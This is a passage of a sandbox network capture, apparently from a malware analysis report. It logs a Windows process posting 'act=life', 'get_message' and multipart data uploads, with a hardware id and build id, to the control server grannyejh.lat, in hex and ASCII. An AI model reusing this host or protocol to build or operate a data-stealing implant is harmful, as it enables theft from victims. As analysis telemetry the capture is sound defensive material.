2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: d2 b2 91 38 54 93 53 e0 92 f4 ff a4 bf 0e e8 ef 2a 78 f7 ff 73 27 e4 66 2a fd 3e f8 a6 c1 c6 5d 8e 12 b5 a3 51 09 db 8b c8 e4 72 94 b4 af cf ee fa 5b 01 71 99 ad 22 7c 97 ab 6a cb 45 dc 8d 33 51 29 be 7f fb c4 fb e9 80 de 21 ab 3f ff d7 39 10 eb 5a 91 27 c4 ab b8 1c cb 1f 0e 2f 91 8c 1f be f6 c2 dc ff 2d 5e df 29 0d ba a0 c9 62 08 a0 66 0a 97 78 a5 17 6f 9b 4e ac f1 6d 69 bb 05 ad a8 fa a7 a8 98 f6 a4 71 98 3e 7b 11 5c 3b 19 88 50 19 0b 5b ae cb 5a 40 5a 96 83 d1 b5 77 a2 f7 55 18 52 a8 97 2a 8c b4 a5 38 2f 2d a6 22 aa 87 ef 67 b4 32 72 9e 29 c6 5f 96 0f a5 dd ab 3d 58 91 54 fb 48 ea 4e 8f 97 bf 2d b4 38 c1 79 36 9d 34 a2 3b bf 0b b7 0d fc ea 27 21 c8 be ab 3f 6e 30 4f ed d9 ec a4 1c d9 85 6e ca d1 22 2b 8d 54 05 22 af 9e 26 26 09 ae 9c bc eb d6 ba 5a 67 Data Ascii: 8TSxs'f>]Qr[q"\|jE3Q)!?9Z'/-^)bfxoNmiq>{\;P[Z@ZwUR*8/-"g2r)_=XTHN-8y64;'!?n0On"+T"&&Zg
2024-12-18 16:09:31 UTC	15331	OUT	Data Raw: ce 47 e2 15 36 93 ba aa 8c 57 3b 28 b0 89 44 1c 61 c1 fe 2b d8 46 d8 76 f0 c3 5d 0a 82 21 c1 44 f6 23 eb 9f a9 12 58 6f 91 da 06 2c 1b 40 dc ec 85 1a 03 c7 44 48 81 91 8a 95 bb 43 bf 36 a1 56 23 92 a7 e9 c4 d1 1d 3f 6c c2 39 cb a9 36 08 fe 34 cf 4f 0b 2b 33 ec 2a 9d bc 8a ce b2 37 dc fe 32 25 5e d9 7a 67 12 ed 8c 02 6f e3 ef ab d6 81 a5 ec d6 81 f5 a1 f4 b0 4c 40 4f 8a d0 8e 0b 6f db 08 d2 24 57 8f e3 d9 71 de c0 5c 14 74 9b 72 77 b1 c2 68 bc d7 1f cf ad ae ce 15 3c ce cb 78 07 08 d7 59 45 19 65 5f a7 33 16 29 f9 93 c0 79 9d b1 31 f7 17 2d 5d 16 44 0b 88 0a 5b 4a ae 1c 78 20 ca d5 2b f9 cb 5b 63 f9 4d d3 fa 3f fb 6e fc c7 4b fa 59 ce c2 f6 3f b0 4b 0c 3c fb 20 6d b6 b8 7f c5 ae 24 f4 fb 1a 7b e6 51 50 fe c7 b8 27 b4 4f 1b ec 61 dd b9 8a fb d3 fd 91 d5 8e Data Ascii: G6W;(Da+Fv]!D#Xo,@DHC6V#?l964O+3*72%^zgoL@Oo$Wq\trwh<xYEe_3)y1-]D[Jx +[cM?nKY?K< m${QP'Oa
2024-12-18 16:09:33 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kah82ddlt9hlbutqi345qs70a2; expires=Sun, 13-Apr-2025 09:56:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QIJ%2Bz%2FSajSV9RaoxwhdTvPjKS3fcxMmRgpTU1lPOlvrHpJLR8WcK313H%2FUYiOP3SrmkPtbQQVM19vLd8EofpM0zJQfFSPhNQ0PrLO4ScqPDVdFPeXBl%2Fg9Etne%2FZ5dFN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406af1ee42c439-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1685&min_rtt=1675&rtt_var=648&sent=199&recv=590&lost=0&retrans=0&sent_bytes=2829&recv_bytes=571882&delivery_rate=1661923&cwnd=207&unsent_bytes=0&cid=679614fea0aa1ce5&ts=2466&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50026	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:32 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 16:09:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 16:09:33 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8g7sp2gflqk0guel491fvb2mun; expires=Sun, 13-Apr-2025 09:56:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FatIMmHaYDXbyM3gbLbt1KC%2F3DuellL4IL2HTprVt%2ByLwoYul6IwspVWL1q9BKJUyne8SZLRWIZ8yaSDFXPkv3JDHVEAmqJCMTET21n8NdtLMLKlpgwJQZyEAI9ThaRg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406afeedf60f7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1671&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1716637&cwnd=217&unsent_bytes=0&cid=ba2ae5a749324f02&ts=766&x=0"
2024-12-18 16:09:33 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 16:09:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50036	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:34 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 16:09:34 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-18 16:09:35 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1pl5ul80btua6dihg2oqlidiqn; expires=Sun, 13-Apr-2025 09:56:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tkuy%2BsHfEm0VwUBsV3wntWnp4bdwqIQ9I6Ub370rqpUseEoM04MXfqnQcFrNnEpRiw3uS%2FcInUjPTxiAqHK5Qbfpo03Mrh936oSVoJeOiAad%2FCSaTBh%2F6ONlt00Rgj%2Fj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b0b5dde4361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2182&min_rtt=2180&rtt_var=821&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=949&delivery_rate=1329085&cwnd=221&unsent_bytes=0&cid=a0739140f2915057&ts=797&x=0"
2024-12-18 16:09:35 UTC	337	IN	Data Raw: 34 39 31 63 0d 0a 32 58 52 53 4e 65 2f 6f 79 4b 69 58 45 69 63 63 52 37 2b 51 77 56 6a 69 55 4c 36 41 31 39 32 72 31 2f 6a 53 77 2f 70 46 6d 49 69 69 56 69 51 58 31 64 7a 6b 69 75 52 33 42 53 59 7a 7a 65 57 6b 64 4d 41 78 32 71 4c 74 75 38 71 37 69 37 66 76 32 44 50 31 71 75 4d 53 4d 31 6d 63 6a 65 53 4b 38 6d 6f 46 4a 68 7a 45 73 71 51 32 77 47 71 63 35 62 32 2f 79 72 75 61 73 36 69 56 4e 66 54 72 73 52 67 31 58 59 71 4c 72 4d 6e 37 66 30 4a 35 49 74 37 36 72 7a 47 50 4f 4e 4f 69 2b 2f 2f 4f 72 64 72 6f 34 62 63 67 37 4f 6d 55 46 53 46 65 7a 5a 58 6b 30 37 56 33 53 54 35 39 6e 66 47 6b 4f 6f 34 32 32 75 75 2f 74 63 4f 7a 6d 37 61 70 69 69 7a 2b 34 4c 45 57 4e 6c 79 41 67 72 6a 45 38 58 68 4a 66 79 6a 65 73 75 31 36 68 79 71 63 75 76 58 73 2b 37 61 4c 6f Data Ascii: 491c2XRSNe/oyKiXEiccR7+QwVjiUL6A192r1/jSw/pFmIiiViQX1dzkiuR3BSYzzeWkdMAx2qLtu8q7i7fv2DP1quMSM1mcjeSK8moFJhzEsqQ2wGqc5b2/yruas6iVNfTrsRg1XYqLrMn7f0J5It76rzGPONOi+//Ordro4bcg7OmUFSFezZXk07V3ST59nfGkOo422uu/tcOzm7apiiz+4LEWNlyAgrjE8XhJfyjesu16hyqcuvXs+7aLo
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 31 68 66 36 34 32 43 44 32 71 75 4e 57 4e 6c 6d 4d 68 36 72 59 2f 58 74 4f 65 7a 66 57 2b 36 34 33 67 44 2f 57 37 62 61 2f 7a 72 2b 51 76 36 75 63 4b 76 66 73 75 78 5a 77 47 63 32 4e 73 6f 71 74 4d 47 5a 37 4e 64 72 2b 74 58 69 36 63 73 4f 73 72 50 2f 4f 75 64 72 6f 34 5a 41 69 2b 65 6d 77 47 54 4e 66 68 70 69 71 32 50 4e 39 51 47 77 6a 32 50 79 70 4f 5a 49 34 30 75 53 32 74 73 4b 38 6e 37 65 6c 32 47 6d 36 37 61 4e 57 61 42 65 73 68 36 48 47 2f 32 64 46 50 6a 71 54 36 2b 4d 39 6a 48 4b 45 6f 72 47 2b 7a 62 53 65 76 71 2b 63 4b 2f 7a 6b 74 68 6b 32 58 59 32 4e 6f 4d 4c 39 63 55 68 31 4b 74 33 33 72 6a 36 47 50 74 33 6e 39 66 47 4a 73 6f 4c 77 2b 64 67 4a 2f 65 6d 70 56 41 56 55 67 34 53 74 33 4c 56 76 43 32 64 6c 32 76 37 6a 59 73 41 38 32 65 32 6e 76 74 Data Ascii: 1hf642CD2quNWNlmMh6rY/XtOezfW+643gD/W7ba/zr+Qv6ucKvfsuxZwGc2NsoqtMGZ7Ndr+tXi6csOsrP/Oudro4ZAi+emwGTNfhpiq2PN9QGwj2PypOZI40uS2tsK8n7el2Gm67aNWaBesh6HG/2dFPjqT6+M9jHKEorG+zbSevq+cK/zkthk2XY2NoML9cUh1Kt33rj6GPt3n9fGJsoLw+dgJ/empVAVUg4St3LVvC2dl2v7jYsA82e2nvt
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 34 63 42 6e 79 2f 32 77 56 41 56 55 67 34 53 74 33 4c 56 76 43 32 64 6c 32 76 37 6a 59 73 41 2f 31 4f 65 77 73 4d 69 2f 6c 4c 57 72 6c 43 2f 30 36 61 6b 5a 4e 46 65 42 67 71 44 48 2b 33 52 4e 64 79 37 57 39 4b 4d 37 69 6e 4b 53 6f 72 4b 6e 69 65 33 61 68 4b 61 55 4b 76 57 6f 6a 68 55 2b 57 59 71 63 36 74 57 37 61 51 56 35 4b 5a 32 71 34 7a 61 4a 4d 74 66 6f 73 62 2f 4f 75 4a 2b 7a 70 70 73 71 2f 65 43 31 45 54 52 62 68 49 65 73 79 76 4a 30 51 47 77 67 31 50 36 76 65 73 35 79 32 2f 72 31 35 34 6d 61 6e 61 61 69 74 79 54 72 34 2f 73 4a 66 6b 37 4e 6a 61 61 4b 72 54 42 43 65 79 33 57 39 4b 73 36 6b 6a 66 53 36 62 53 31 7a 37 53 58 76 4b 65 59 4a 76 72 73 74 78 59 33 55 4a 2b 59 72 38 7a 6e 65 67 55 77 5a 64 72 71 34 32 4c 41 42 4d 7a 31 70 4b 6d 4c 67 4a 6d Data Ascii: 4cBny/2wVAVUg4St3LVvC2dl2v7jYsA/1OewsMi/lLWrlC/06akZNFeBgqDH+3RNdy7W9KM7inKSorKnie3ahKaUKvWojhU+WYqc6tW7aQV5KZ2q4zaJMtfosb/OuJ+zppsq/eC1ETRbhIesyvJ0QGwg1P6ves5y2/r154manaaityTr4/sJfk7NjaaKrTBCey3W9Ks6kjfS6bS1z7SXvKeYJvrstxY3UJ+Yr8znegUwZdrq42LABMz1pKmLgJm
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 50 58 75 74 52 41 32 57 6f 69 46 6f 4e 6a 39 66 6b 68 31 4b 74 62 67 6f 7a 65 45 50 74 6a 71 76 72 57 4a 2b 39 71 33 75 64 68 2f 75 74 2b 32 47 54 42 55 6d 38 71 31 68 4f 77 77 51 6e 4a 6c 68 62 4b 76 4e 49 41 39 30 4f 36 2b 74 38 69 35 6c 4c 65 6b 6b 53 2f 79 2b 4c 6f 53 4f 46 61 44 68 61 76 4f 38 48 56 42 65 53 48 62 2f 65 4e 30 77 44 58 45 6f 75 33 2f 35 70 4b 76 38 6f 43 69 5a 2b 57 6b 6f 6c 59 33 57 38 33 53 36 73 62 32 66 45 31 78 49 39 54 2b 71 54 4f 4c 50 74 66 6d 75 62 62 4d 73 35 75 31 70 4a 6b 6a 39 75 43 39 46 54 4e 59 67 6f 57 69 69 72 73 77 51 6d 5a 6c 68 62 4b 47 4c 59 73 38 32 71 4b 71 38 64 44 31 6e 62 7a 68 77 47 66 32 34 37 30 51 4e 56 75 4d 6a 4b 4c 50 2f 58 52 45 65 43 50 65 2f 61 63 2f 67 54 33 59 37 72 75 31 79 4c 53 57 75 36 36 54 Data Ascii: PXutRA2WoiFoNj9fkh1KtbgozeEPtjqvrWJ+9q3udh/ut+2GTBUm8q1hOwwQnJlhbKvNIA90O6+t8i5lLekkS/y+LoSOFaDhavO8HVBeSHb/eN0wDXEou3/5pKv8oCiZ+WkolY3W83S6sb2fE1xI9T+qTOLPtfmubbMs5u1pJkj9uC9FTNYgoWiirswQmZlhbKGLYs82qKq8dD1nbzhwGf2470QNVuMjKLP/XREeCPe/ac/gT3Y7ru1yLSWu66T
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 77 61 4e 6c 69 4c 69 36 2f 41 2b 58 64 41 64 53 72 52 73 75 31 36 68 79 71 63 75 76 57 52 77 71 61 4e 73 36 2b 54 4d 65 47 71 70 46 67 70 46 34 71 47 36 70 4b 31 63 30 35 31 49 64 33 2b 6f 7a 36 4e 4d 73 37 74 73 72 6a 41 76 6f 69 36 70 70 38 73 38 75 47 30 45 43 4a 62 67 35 69 76 32 4f 63 77 43 7a 34 69 78 62 4c 37 65 72 59 31 7a 50 4b 32 2f 66 69 6a 6d 61 61 71 6c 53 75 36 39 66 55 50 63 46 43 42 79 76 4b 4b 38 33 39 4d 66 53 72 63 2b 36 38 33 68 54 76 5a 34 37 4f 37 77 37 2b 61 74 71 65 5a 49 76 44 70 75 68 77 35 55 49 57 4e 71 64 69 31 50 67 56 35 50 5a 32 71 34 78 4f 48 49 4e 4c 79 39 61 43 48 72 4e 71 33 72 64 68 2f 75 75 36 78 47 54 52 51 67 59 79 76 7a 50 68 78 53 6e 38 6c 30 76 61 6f 4d 34 59 7a 30 65 65 34 75 39 75 2f 6b 62 2b 74 6b 53 76 33 71 Data Ascii: waNliLi6/A+XdAdSrRsu16hyqcuvWRwqaNs6+TMeGqpFgpF4qG6pK1c051Id3+oz6NMs7tsrjAvoi6pp8s8uG0ECJbg5iv2OcwCz4ixbL7erY1zPK2/fijmaaqlSu69fUPcFCByvKK839MfSrc+683hTvZ47O7w7+atqeZIvDpuhw5UIWNqdi1PgV5PZ2q4xOHINLy9aCHrNq3rdh/uu6xGTRQgYyvzPhxSn8l0vaoM4Yz0ee4u9u/kb+tkSv3q
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 55 67 6f 6d 34 79 2f 4e 69 52 58 4d 76 7a 2f 69 6f 50 34 30 2f 30 65 47 7a 75 63 4b 35 69 4c 6d 68 6d 79 79 36 70 50 73 52 4b 42 66 56 79 6f 6e 64 34 33 70 43 63 6a 50 57 38 36 41 73 6a 53 4b 63 72 50 57 75 7a 71 54 61 36 4c 65 49 4d 50 33 31 39 51 39 77 55 49 48 4b 38 6f 72 7a 65 55 4e 35 49 39 50 67 70 6a 79 50 50 64 58 72 73 62 66 4b 74 5a 36 30 70 70 30 6b 39 75 47 38 46 54 39 54 68 49 53 6a 78 62 55 2b 42 58 6b 39 6e 61 72 6a 47 35 73 78 30 4f 2f 31 6f 49 65 73 32 72 65 74 32 48 2b 36 35 72 55 54 4d 46 32 4c 6a 71 2f 4d 2f 33 56 46 64 53 62 53 39 71 55 2b 6a 7a 4c 58 36 37 53 35 7a 4c 2b 52 74 71 79 62 49 66 79 71 39 56 59 33 54 38 33 53 36 75 72 75 66 55 6c 35 5a 63 4b 38 75 6e 71 48 50 70 79 36 39 62 54 46 73 5a 32 77 72 4a 73 76 2f 2b 36 78 45 7a Data Ascii: Ugom4y/NiRXMvz/ioP40/0eGzucK5iLmhmyy6pPsRKBfVyond43pCcjPW86AsjSKcrPWuzqTa6LeIMP319Q9wUIHK8orzeUN5I9PgpjyPPdXrsbfKtZ60pp0k9uG8FT9ThISjxbU+BXk9narjG5sx0O/1oIes2ret2H+65rUTMF2Ljq/M/3VFdSbS9qU+jzLX67S5zL+RtqybIfyq9VY3T83S6urufUl5ZcK8unqHPpy69bTFsZ2wrJsv/+6xEz
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 75 38 4f 31 50 67 56 35 4d 35 32 71 34 77 54 41 49 4e 2f 79 74 72 44 59 69 39 72 6f 75 4b 5a 6e 38 66 79 38 42 6a 4e 42 68 6f 65 6d 32 38 73 77 48 53 70 33 6a 36 44 78 61 4a 39 79 77 39 33 37 2f 38 6a 31 77 6f 6d 34 32 44 47 36 73 75 6c 59 63 45 58 4e 30 75 71 4e 39 6d 4a 58 65 43 62 4c 38 65 51 45 76 68 58 4b 36 4c 4b 76 7a 71 4b 56 38 4f 2f 59 4b 4c 71 79 67 6c 59 35 55 4a 61 62 76 4d 66 6c 64 77 56 42 61 35 33 71 34 32 4c 41 42 39 2f 73 75 37 6a 66 70 4e 65 58 74 35 49 67 36 75 32 73 47 58 41 5a 7a 59 7a 71 6b 71 59 2b 42 58 6f 30 6e 61 72 7a 61 4e 74 6e 6a 37 58 6c 37 64 62 37 67 2f 43 33 32 48 2b 6f 70 50 73 45 63 41 2f 4e 7a 61 6e 59 35 33 5a 47 61 43 61 61 7a 4a 30 64 6d 6a 2f 61 39 61 53 42 39 37 4b 41 76 61 65 50 4e 72 62 2f 75 42 67 2b 55 4a 76 Data Ascii: u8O1PgV5M52q4wTAIN/ytrDYi9rouKZn8fy8BjNBhoem28swHSp3j6DxaJ9yw937/8j1wom42DG6sulYcEXN0uqN9mJXeCbL8eQEvhXK6LKvzqKV8O/YKLqyglY5UJabvMfldwVBa53q42LAB9/su7jfpNeXt5Ig6u2sGXAZzYzqkqY+BXo0narzaNtnj7Xl7db7g/C32H+opPsEcA/NzanY53ZGaCaazJ0dmj/a9aSB97KAvaePNrb/uBg+UJv
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 7a 41 64 4c 6d 75 64 39 72 4a 36 32 47 4b 4f 75 65 44 73 6e 75 58 49 72 2b 2b 42 5a 2b 79 71 34 30 52 2b 46 35 2f 4b 38 6f 71 79 63 31 64 73 49 39 37 6b 6f 48 32 2b 44 50 76 73 73 72 37 66 70 59 32 2f 6e 36 59 79 2b 65 53 31 45 53 5a 47 7a 63 54 71 78 62 55 6f 66 44 35 74 6e 63 33 74 65 70 68 79 68 4b 4b 41 76 4d 65 37 6e 61 61 77 31 51 44 30 37 62 6f 41 49 45 43 43 79 75 53 4b 38 7a 41 64 4c 47 75 64 39 72 4a 36 32 47 4b 4f 75 65 44 73 6e 75 58 49 72 2b 2b 42 5a 2b 79 71 34 30 52 2b 46 35 2f 4b 38 6f 71 79 63 31 64 73 49 39 37 6b 6f 48 32 2b 44 50 76 73 73 72 37 66 70 59 32 2f 37 72 59 52 32 39 53 46 41 7a 4e 5a 67 34 32 38 32 37 55 2b 42 58 46 6c 68 63 76 6a 63 73 41 4e 6b 71 4b 74 2f 35 48 31 72 37 4f 76 6c 69 44 73 2b 2f 59 78 50 6c 43 4d 6e 4c 72 64 Data Ascii: zAdLmud9rJ62GKOueDsnuXIr++BZ+yq40R+F5/K8oqyc1dsI97koH2+DPvssr7fpY2/n6Yy+eS1ESZGzcTqxbUofD5tnc3tephyhKKAvMe7naaw1QD07boAIECCyuSK8zAdLGud9rJ62GKOueDsnuXIr++BZ+yq40R+F5/K8oqyc1dsI97koH2+DPvssr7fpY2/7rYR29SFAzNZg42827U+BXFlhcvjcsANkqKt/5H1r7OvliDs+/YxPlCMnLrd
2024-12-18 16:09:35 UTC	1369	IN	Data Raw: 31 6e 37 50 2b 6e 4c 4a 55 78 7a 4f 57 4c 67 65 53 6e 6e 61 43 69 32 68 62 73 36 62 73 59 4e 78 66 44 79 72 4b 4b 72 54 42 6f 62 43 4c 4e 38 65 4e 30 77 44 36 63 75 76 57 79 32 37 4b 4b 73 2b 32 66 50 66 32 71 70 46 67 70 46 35 76 4b 38 70 6d 37 4d 46 63 2b 66 5a 32 31 72 54 65 42 4d 64 4c 68 70 36 33 50 74 6f 79 7a 35 71 59 5a 31 2f 69 38 42 6a 4d 56 76 49 65 75 33 4f 42 7a 56 58 6b 62 34 39 2b 78 50 5a 41 78 6e 73 36 79 73 73 57 4c 70 49 65 77 6e 7a 65 34 7a 4c 67 41 4d 78 66 44 79 72 4b 4b 72 54 42 6f 62 43 4c 4e 38 65 45 57 68 7a 2f 51 6f 71 72 78 30 50 57 4d 38 50 6e 4c 61 62 72 34 2b 30 35 77 45 49 36 59 75 4d 7a 32 5a 6b 59 35 47 2b 50 66 73 54 32 51 4d 5a 37 54 75 4c 76 66 6f 4a 6d 67 70 71 59 5a 31 2f 69 38 42 6a 4d 56 71 4c 44 6f 2b 2b 4e 7a 52 Data Ascii: 1n7P+nLJUxzOWLgeSnnaCi2hbs6bsYNxfDyrKKrTBobCLN8eN0wD6cuvWy27KKs+2fPf2qpFgpF5vK8pm7MFc+fZ21rTeBMdLhp63Ptoyz5qYZ1/i8BjMVvIeu3OBzVXkb49+xPZAxns6yssWLpIewnze4zLgAMxfDyrKKrTBobCLN8eEWhz/Qoqrx0PWM8PnLabr4+05wEI6YuMz2ZkY5G+PfsT2QMZ7TuLvfoJmgpqYZ1/i8BjMVqLDo++NzR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50037	172.67.179.109	443	2008	C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:35 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 16:09:35 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8B2BACE9145C30D4AC8923850305D13E
2024-12-18 16:09:35 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:09:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=htvm9rk0qa2svjqup584sbdte6; expires=Sun, 13-Apr-2025 09:56:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dqqkNnL7ts6o1UV2LwoLpLtrhoMB9sjmEr4oWPT1cBdfZHuncXEkPN%2F%2FtHRnSZXciiLTNJmsFGVczJRVh6G2hi2V4QLzRIKvur6%2FGXVYCECm3Xu2hlGR39Od%2BnRVRpt3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f406b0c2d7e8cc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&min_rtt=1823&rtt_var=697&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=979&delivery_rate=1554018&cwnd=222&unsent_bytes=0&cid=cd02cc47ede7af3f&ts=748&x=0"
2024-12-18 16:09:35 UTC	214	IN	Data Raw: 64 30 0d 0a 4c 43 38 6b 43 49 31 62 7a 68 51 52 6e 65 42 4b 50 4a 51 6c 55 65 74 41 78 75 36 68 56 71 64 51 74 59 35 58 76 62 50 36 69 72 39 33 56 41 5a 39 72 32 48 73 66 47 58 70 6b 48 42 67 75 33 6c 2b 32 6e 6a 7a 77 4a 4e 6e 6b 6e 36 45 76 32 53 54 67 73 7a 57 6b 45 4e 4a 51 6c 53 69 50 36 74 79 50 2f 69 59 4c 78 36 34 42 7a 65 66 59 76 7a 65 6a 58 54 43 63 6f 2b 2b 4b 70 48 49 32 50 2b 64 46 67 31 4d 66 50 6b 72 39 45 67 2b 77 63 39 37 42 4b 45 4c 59 39 70 31 36 4e 2b 51 5a 59 6c 68 67 39 4a 34 7a 73 65 66 36 39 4a 77 41 46 5a 70 34 7a 2b 68 65 54 2f 34 6d 43 38 65 75 41 63 33 6e 32 4c 38 33 6f 31 30 77 6e 4b 50 76 69 72 67 0d 0a Data Ascii: d0LC8kCI1bzhQRneBKPJQlUetAxu6hVqdQtY5XvbP6ir93VAZ9r2HsfGXpkHBgu3l+2njzwJNnkn6Ev2STgszWkENJQlSiP6tyP/iYLx64BzefYvzejXTCco++KpHI2P+dFg1MfPkr9Eg+wc97BKELY9p16N+QZYlhg9J4zsef69JwAFZp4z+heT/4mC8euAc3n2L83o10wnKPvirg
2024-12-18 16:09:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50047	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:09:37 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LJS1T865RN0M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18132 Host: grannyejh.lat
2024-12-18 16:09:37 UTC	15331	OUT	Data Raw: 2d 2d 4c 4a 53 31 54 38 36 35 52 4e 30 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 32 42 41 43 45 39 31 34 35 43 33 30 44 34 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 4c 4a 53 31 54 38 36 35 52 4e 30 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4a 53 31 54 38 36 35 52 4e 30 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 4c 4a 53 31 54 38 36 35 52 Data Ascii: --LJS1T865RN0MContent-Disposition: form-data; 